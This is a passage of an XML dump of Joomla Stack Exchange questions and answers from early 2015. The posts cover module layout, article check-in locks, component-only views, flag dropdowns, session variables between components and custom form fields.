/&amp;gt;&amp;lt;a href=&quot;img/image-3.jpg&quot; data-lightbox=&quot;image&quot; data-title=&quot;This is third image caption&quot;&amp;gt;&amp;lt;img style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; src=&quot;images/thumbnail.png&quot; alt=&quot;Thumbnail&quot; border=&quot;0&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;p style=&quot;text-align: center;&quot;&amp;gt; &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.webbmaster.com.au/web-programs/questdesign/index.php/folio&quot; rel=&quot;nofollow&quot;&gt;http://www.webbmaster.com.au/web-programs/questdesign/index.php/folio&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2015-04-16T18:33:02.053" Title="Table isn't centered properly in Module" Tags="|joomla-3.x|jhtml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7326" PostTypeId="2" ParentId="7323" CreationDate="2015-01-29T06:18:51.970" Score="2" Body="&lt;p&gt;The error you mention means that another user is editing the item (usually article or module), or has left the item without closing properly (usually by clicking the &lt;kbd&gt;Back&lt;/kbd&gt; button in the browser, or simply closing the browser window without clicking &lt;kbd&gt;Save&lt;/kbd&gt;, &lt;kbd&gt;Save &amp;amp; Close&lt;/kbd&gt; or &lt;kbd&gt;Close&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete error message is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Check-out failed with the following error: The user checking out&#xA;  does not match the user who checked out the item.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You are not permitted to use that link to directly access that page&#xA;  (#196).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;#196 is replaced with the ID of the item.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a look at the article manager, you might see a padlock before the title of some of your articles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXCfU.jpg&quot; alt=&quot;Joomla article manager padlock&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the article is &lt;em&gt;locked&lt;/em&gt; to the user displayed in the tooltip. If you are a superuser, (and are sure no-one is editing the article at the moment) you can force access to the article by clicking the padlock, or by selecting one or more articles and clicking &lt;kbd&gt;Check-In&lt;/kbd&gt; in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are many padlocks, you can find &quot;Global Check-In&quot; in the &quot;System&quot; menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UnJm9.jpg&quot; alt=&quot;Global Check-In&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you'll be able to Check-In (remove the padlock) for all items with one click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, take a look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/5214/check-out-failed-with-the-following-error-the-user-checking-out-does-not-match&quot;&gt;this answer by @FFrewin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-01-29T06:18:51.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostTypeId="2" ParentId="7322" CreationDate="2015-01-29T07:07:22.207" Score="2" Body="&lt;p&gt;I would take a dump of the database, then use notepad++ or similar to search the sql file for &quot;id=124:a-long-walk-to-freedom&quot;. If something was found it should be relatively easy to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is assuming that during your previous search attempt you forgot to compensate for SEF rewriting parts of the link or forgot to search module content. Searching the entire database with a text editor for a shorter part of the string should cover it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If even that fails the link might also come from the language files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a server access log, you could simply search that to see where the crawler follows the link from.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-29T07:07:22.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7328" PostTypeId="2" ParentId="7324" CreationDate="2015-01-29T09:05:00.060" Score="1" Body="&lt;p&gt;There might be some styling in your template CSS file that is overriding the styling for the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the following would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table {&#xA;    width: 500px;&#xA;    margin: 0 auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you should assign a class or ID to your table and target that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can wrap you table in a &lt;code&gt;div&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;text-align:center&quot;&amp;gt;    &#xA;   &amp;lt;table style=&quot;display: inline-table;&quot;&amp;gt;  &#xA;&#xA;   &amp;lt;/table&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-04-16T18:33:02.053" LastActivityDate="2015-04-16T18:33:02.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostTypeId="2" ParentId="7311" CreationDate="2015-01-29T09:22:45.077" Score="1" Body="&lt;p&gt;SOLVED (maybe...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each model, I have override the getItem method like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItem($pk = null)&#xA;{&#xA;        $item = null;&#xA;&#xA;        $idMain = (int) JRequest::getVar('id');&#xA;&#xA;        if ($idMain &amp;gt; 0)&#xA;        {&#xA;            $db =&amp;amp; JFactory::getDBO();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;            $query-&amp;gt;select('second.*');&#xA;            $query-&amp;gt;from('#__secondTable AS s');&#xA;            $query-&amp;gt;innerJoin('#__firstTable AS f ON s.idFK = f.id');&#xA;            $query-&amp;gt;where('f.id = '. (int) $idMain);&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $item =  $db-&amp;gt;loadObject();&#xA;            return $item;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have many doubts about this statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$idMain = (int) JRequest::getVar('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$pk is always null...&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-01-29T09:22:45.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostTypeId="1" AcceptedAnswerId="7341" CreationDate="2015-01-29T11:16:40.490" Score="1" ViewCount="518" Body="&lt;p&gt;I have setup fancybox2 in my joomla3 site. It is working, but I need to display only the component area inside the window when a link is clicked. Is there a way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fancybox js currently is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $(&quot;.fancybox&quot;).fancybox({&#xA;        type: 'iframe',&#xA;        openEffect: 'elastic',&#xA;        closeEffect: 'elastic'&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2336" LastActivityDate="2015-01-29T14:46:13.603" Title="Loading component only in fancybox window" Tags="|modal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostTypeId="2" ParentId="7331" CreationDate="2015-01-29T11:23:00.623" Score="3" Body="&lt;p&gt;If you want to load only component in view add &lt;strong&gt;tmpl=component&lt;/strong&gt; in url of that page you want to open.&#xA;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     joomlasite.com/index.php?option=com_component&amp;amp;view=page&#xA;     (this will load whole joomla site)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    joomlasite.com/index.php?option=com_component&amp;amp;view=page&amp;amp;tmpl=component &#xA;    (this will load only component part in view).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this will help.&lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-01-29T11:23:00.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7333" PostTypeId="1" CreationDate="2015-01-29T11:23:43.573" Score="2" ViewCount="1496" Body="&lt;p&gt;I'm a novice user of the Virtual Domains plugin (&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains&lt;/a&gt;). I have a big site (www.bigsite.local) with a main menu. I need that one of the options from the menu redirect to another domain (other.bigsite.local), while the other options go to the same domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, I must create two menus:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The www.bigsite.local main menu, with normal options (single article, blog category, etc), and one option with a link redirecting to other.bigsite.local&lt;/li&gt;&#xA;&lt;li&gt;The other.bigsite.local main menu, with the same options as the oher menu, but instead of normal links generated by joomla (single article, blog category, etc), hard coded links to the original pages from www.bigsite.local&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this correct? Because if it's correct, the maintenance of the second menu can be difficult, updating the hardcoded links to the content generated by Joomla... And if it isn't correct, what is the correct way to do this job?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2016-03-22T04:33:54.463" Title="Using Virtual Domains: Two menus with same content and different links" Tags="|joomla-3.x|menu|menu-item|virtualhost|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7334" PostTypeId="1" CreationDate="2015-01-29T12:16:14.870" Score="1" ViewCount="247" Body="&lt;p&gt;I'm having a little annoying issue about the Joomla Tags component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use this component for our site, but when you edit an article on front-end, the Tags fields under the 'Publishing' tab is blank, like it been reset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite annoying for our front-end users, cause every time you hit &quot;Edit article&quot; you have to remember to re-assign the Tag it had before saving.&#xA;Somehow the Tag assigned to the article gets removed or reset every time you edit a article on front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how such issue can be fix this?&#xA;So that the Tags get &quot;memorized&quot; and don't reset every time a article is edited from front-end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On back-end it works fine and I don't have to re-select the Tags every time I edit a article there, but our moderators don't have back-end access and are not supposed to either.&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2015-03-30T13:15:01.440" Title="Joomla Tags fields, resets when editing articles on frontend" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7335" PostTypeId="2" ParentId="7334" CreationDate="2015-01-29T12:32:55.660" Score="1" Body="&lt;p&gt;I've just tested on my testing installation and tags are not being reset. I was checking it in the Protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you test in on the Protostart template? Do you have any overrides which could affect the edit form and remove the tags? May be some plugin or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to say is that in standard Joomla installation everything works fine.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-29T12:32:55.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostTypeId="1" AcceptedAnswerId="7340" CreationDate="2015-01-29T12:54:32.833" Score="2" ViewCount="137" Body="&lt;p&gt;I have a selectbox in which options are coming from a module. Following is its code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;dropdown&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;country&quot;&amp;gt;&amp;lt;label for=&quot;country&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;select id=&quot;country&quot; name=&quot;country&quot; onchange=&quot;this.form.submit()&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;    $rows = Array('UAE', 'SA', 'OMAN');&#xA;&#xA;foreach($rows as $row){ &#xA;&#xA;    if($row == $session-&amp;gt;get('cont')){ &#xA;&#xA;        $isSelected = ' selected=&quot;selected&quot;'; &#xA;    } &#xA;    else { &#xA;        $isSelected = ''; &#xA;    } &#xA;&#xA;    echo &quot;&amp;lt;option &quot;.$isSelected.&quot;&amp;gt;&quot;.$row.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to show country flags with each option. Please suggest if there is any java-script plugin which I can use or any other simple way.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastActivityDate="2015-01-29T14:58:49.147" Title="Designing selectbox in joomla" Tags="|javascript|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7338" PostTypeId="2" ParentId="7246" CreationDate="2015-01-29T12:59:58.937" Score="1" Body="&lt;p&gt;I've been looking around and the only extension that I came across which I believe will have this functionality is &lt;a href=&quot;http://jextbox.com/jextbox-article-auto-manager.html&quot; rel=&quot;nofollow&quot;&gt;JExtBOX&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to create a script (placed in the CLI directory) that deletes items from the trash which could then be executed by a cron job every X amount of hours, days etc.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-29T12:59:58.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7340" PostTypeId="2" ParentId="7337" CreationDate="2015-01-29T14:34:09.647" Score="3" Body="&lt;p&gt;Have you tried a search for &lt;code&gt;country flag drop down jquery&lt;/code&gt; or similar? There are many options, personally I've used &lt;a href=&quot;http://www.marghoobsuleman.com/countries-dropdown-flags&quot; rel=&quot;nofollow&quot;&gt;this jQuery plugin&lt;/a&gt; earlier. You should be able to integrate it with your existing code by editing the &lt;code&gt;echo&lt;/code&gt; statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you have to load the included .js and .css files, and make sure jQuery is included in your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//include scripts in header. (Add jQuery if needed.)&#xA;JHtml::_('script', JUri::base() . 'path/to/your/files/jquery.dd.min.js');&#xA;JHtml::_('stylesheet', JUri::base() . 'path/to/your/files/dd.css', array(), true);&#xA;JHtml::_('stylesheet', JUri::base() . 'path/to/your/files/flags.css', array(), true);&#xA;&#xA;//initiate the script&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration('&#xA;  jQuery(document).ready(function($) {&#xA;    $(&quot;#country&quot;).msDropdown();&#xA;  })&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now modify your &lt;code&gt;echo&lt;/code&gt; statement to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;option &quot;.$isSelected.&quot; value='&quot;.$row.&quot;' data-image='/path/to/your/files/blank.gif' data-imagecss='flag &quot;.strtolower($row).&quot;' data-title='&quot;.$row.&quot;'&amp;gt;&quot;.$row.&quot;&amp;lt;/option&amp;gt;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have to tweak the code a bit to work, I haven't tested it, but it's worth a shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative (might be easier) is the &lt;a href=&quot;http://bootstrapformhelpers.com/country/&quot; rel=&quot;nofollow&quot;&gt;Country Picker jQuery plugin&lt;/a&gt;, but it uses a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; element instead of a regular dropdown list, and you would have to edit your PHP loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="168" LastEditDate="2015-01-29T14:58:49.147" LastActivityDate="2015-01-29T14:58:49.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7341" PostTypeId="2" ParentId="7331" CreationDate="2015-01-29T14:46:13.603" Score="1" Body="&lt;p&gt;As @subashbasnet8 pointed out, you can add &lt;code&gt;tmpl=component&lt;/code&gt; to your URL. This will display your site using the file &lt;code&gt;JOOMLAROOT/templates/YOURTEMPLATE/component.php&lt;/code&gt;, a template file that loads the HTML headers and your component area (as opposed to the &lt;code&gt;index.php&lt;/code&gt; file that usually is loaded).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can modify this file if needed, or you can create your own custom view by adding another &lt;code&gt;.php&lt;/code&gt; file to your template directory, e.g. &lt;code&gt;JOOMLAROOT/templates/YOURTEMPLATE/customview.php&lt;/code&gt;. This customized file can be used by adding &lt;code&gt;tmpl=customview&lt;/code&gt; to your url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding SEF urls, take a look at &lt;a href=&quot;https://joomla.stackexchange.com/questions/7312/how-can-i-change-a-sef-url-to-display-another-template/7313#7313&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-01-29T14:46:13.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7342" PostTypeId="1" AcceptedAnswerId="7343" CreationDate="2015-01-29T15:01:10.433" Score="3" ViewCount="530" Body="&lt;p&gt;Im sure the title sound a bit complex or lame. Im trying to develop a component that will keep the count of users that Added a product in the cart but didnt finish with a checkout ( canceled the order before paying ) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new table in the db and in the controller of virtuemart i added this code:&#xA;components/com_virtuemart/controllers/cart.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add() {&#xA;        $tmp = JFactory::getUser();&#xA;        $db= JFactory::getDbo();&#xA;        $ready = $db-&amp;gt;getQuery(true);&#xA;        $query= &quot;INSERT INTO #__nobuyers (id,name,email) VALUES ( '&quot;. $tmp-&amp;gt;id .&quot;','&quot;. $tmp-&amp;gt;username .&quot;','&quot;. $tmp-&amp;gt;email .&quot;') &quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();   &#xA;        /*&#xA;        $session =&amp;amp; JFactory::getSession();&#xA;        $session-&amp;gt;set( 'cartcheck', 'cartisnotempybro' );&#xA;        $GLOBALS['yoyo']=notempty;&#xA;        */&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;public function confirm() {&#xA;        $tmp = JFactory::getUser();&#xA;        $db= JFactory::getDbo();&#xA;        $ready = $db-&amp;gt;getQuery(true);&#xA;        $query= &quot;DELETE FROM #__nobuyers where ID=&quot;. $tmp-&amp;gt;id;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SO when a &lt;strong&gt;Registered and Loged&lt;/strong&gt; user will add a product in his cart i keep his info at my db. If he checkout i remove him.&#xA;This is working fine. The problem is when a user first add a product to the cart and logs in after.&#xA;So what im trying to do is : When a user add a product in a cart, keep a global flag variable.&#xA;After that edit the &lt;code&gt;com_users/controllers/user.php&lt;/code&gt; login() function so when someone try to login check if the flag is set ( someone added a product in the cart ) and if so, add him in database right after log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$seccode=$session-&amp;gt;get('cartcheck');&#xA;if ($seccode) {&#xA;or&#xA;if (!empty($GLOBAL['yoyoyo'])) { //do stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ALtough i try to access a variable setted from com_virtuemart inside the com_users.The &lt;code&gt;var_dumps&lt;/code&gt; i used returns NULL. Is it  possible ? And if yes how we achieve that ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-01-29T15:21:23.747" Title="Is it possible to grab a variable from a component inside another component?" Tags="|joomla-2.5|component|php|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostTypeId="2" ParentId="7342" CreationDate="2015-01-29T15:21:23.747" Score="3" Body="&lt;p&gt;Beyond the fact that your &quot;global&quot; variable is changing (&lt;code&gt;$GLOBALS['yoyo']&lt;/code&gt; is not at all the same as &lt;code&gt;$GLOBAL['yoyoyo']&lt;/code&gt;), all variables except the session (which you also appear to be using) will not persist between page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are correct in trying to use the session. However, the session will be reset to a degree after the user logs in. You would likely have to add some code before login to check if the value exists and store it in another variable, and then after login check that variable to actually update the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution, that I think would be simpler, is to not save the data at all on your end and just write a user plugin that checks for &lt;code&gt;onUserLogin&lt;/code&gt;. Within that function, if the user has successfully logged in, check if their cart has any items in it. If so, add them to your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a plugin: &lt;a href=&quot;https://docs.joomla.org/Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there items in the cart: &lt;a href=&quot;https://stackoverflow.com/questions/13929564/how-to-get-all-products-in-cart-in-virtuemart&quot;&gt;https://stackoverflow.com/questions/13929564/how-to-get-all-products-in-cart-in-virtuemart&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-29T15:21:23.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7344" PostTypeId="1" CreationDate="2015-01-29T15:28:40.307" Score="1" ViewCount="794" Body="&lt;p&gt;I've created a custom field for a module which gets some information from the database. I need to add the functionality to update the information in database if I make some changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for my custom field which currently only gets the data from the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.formfield');&#xA;jimport('joomla.filesystem.file');&#xA;$app        = JFactory::getApplication();&#xA;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldAddlinks extends JFormField {&#xA;&#xA;    protected $type = 'Addlinks';&#xA;&#xA;    // getLabel() left out&#xA;&#xA;    protected function getInput() {&#xA;        $html = '';&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'link_id', 'image', 'link')));&#xA;        $query-&amp;gt;from($db-&amp;gt;quoteName('#__links'));&#xA;&#xA;        // Reset the query using our newly populated query object.&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $row = $db-&amp;gt;loadRowList();&#xA;&#xA;        foreach ($row as $key) {&#xA;            $html .= &quot;&amp;lt;div class='group' style='clear:both;'&amp;gt;&quot;;&#xA;            $html .= &quot;&amp;lt;input type='text' name='link' value='$key[2]'&amp;gt;&quot;;&#xA;            $html .= &quot;&amp;lt;input type='text' name='image' value='$key[3]'&amp;gt;&quot;;&#xA;            $html .= &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;&#xA;        return $html;&#xA;    }&#xA;&#xA;    public function getLabel() {&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt; &#xA;        &amp;lt;fieldset name=&quot;addlinks&quot; label=&quot;Add Link&quot; addfieldpath=&quot;/modules/mod_links/elements&quot;&amp;gt;&#xA;            &amp;lt;field type=&quot;addlinks&quot; name=&quot;link&quot;&amp;gt;&amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3614" LastEditorUserId="126" LastEditDate="2015-12-04T20:44:30.910" LastActivityDate="2015-12-04T20:44:30.910" Title="Send data from custom field to database - Joomla 2.5" Tags="|joomla-2.5|php|custom-field|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7345" PostTypeId="2" ParentId="7316" CreationDate="2015-01-29T18:22:30.767" Score="1" Body="&lt;p&gt;I would refrain from using &lt;code&gt;$document = ...&lt;/code&gt; and then go on to use &lt;code&gt;JFactory::getDocument()-&amp;gt;addStyleDeclaration($css);&lt;/code&gt; because you're calling the class and fucntion twice and thus slowing down the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is define the variable once inside the &lt;code&gt;onContentPrepare&lt;/code&gt; function and then add your declarations like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;{&#xA;    $document = JFactory::getDocument();&#xA;&#xA;    $css = 'YOUR CSS CODE';&#xA;    $js  = 'YOUR JS CODE';&#xA;&#xA;    $document-&amp;gt;addStyleDeclaration($css);&#xA;    $document-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-29T18:22:30.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostTypeId="2" ParentId="7281" CreationDate="2015-01-29T19:27:47.930" Score="4" Body="&lt;p&gt;There is no need to set non-friendly SEF URLs. I have a multilingual website too and I had your same problem.&#xA;Do as following: Go to &lt;code&gt;Plugins -&amp;gt; Language Filter&lt;/code&gt; and set &lt;code&gt;Yes&lt;/code&gt; to: Remove the prefix from default language. Hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3637" LastEditDate="2016-02-16T20:30:38.230" LastActivityDate="2016-02-16T20:30:38.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7348" PostTypeId="2" ParentId="7314" CreationDate="2015-01-29T20:04:56.717" Score="2" Body="&lt;p&gt;Ok this is not a solution but a way around the problem is to just swap browsers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Mac I have three browsers open when I am working on my development site (two would be enough) Just swap as the token (i believe) has a time limit and is basically just a login cookie. Then swap back later.&lt;/p&gt;&#xA;" OwnerUserId="1646" LastActivityDate="2015-01-29T20:04:56.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7349" PostTypeId="1" CreationDate="2015-01-29T22:44:21.363" Score="2" ViewCount="2567" Body="&lt;p&gt;How would one go about creating a user account and adding content for that specific user only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to upload videos that are user specific. I would like to make this as easy as possible, maybe even from the front end.&lt;/p&gt;&#xA;" OwnerUserId="3392" LastActivityDate="2015-01-30T06:05:15.340" Title="Content Per User" Tags="|joomla-3.x|user-groups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
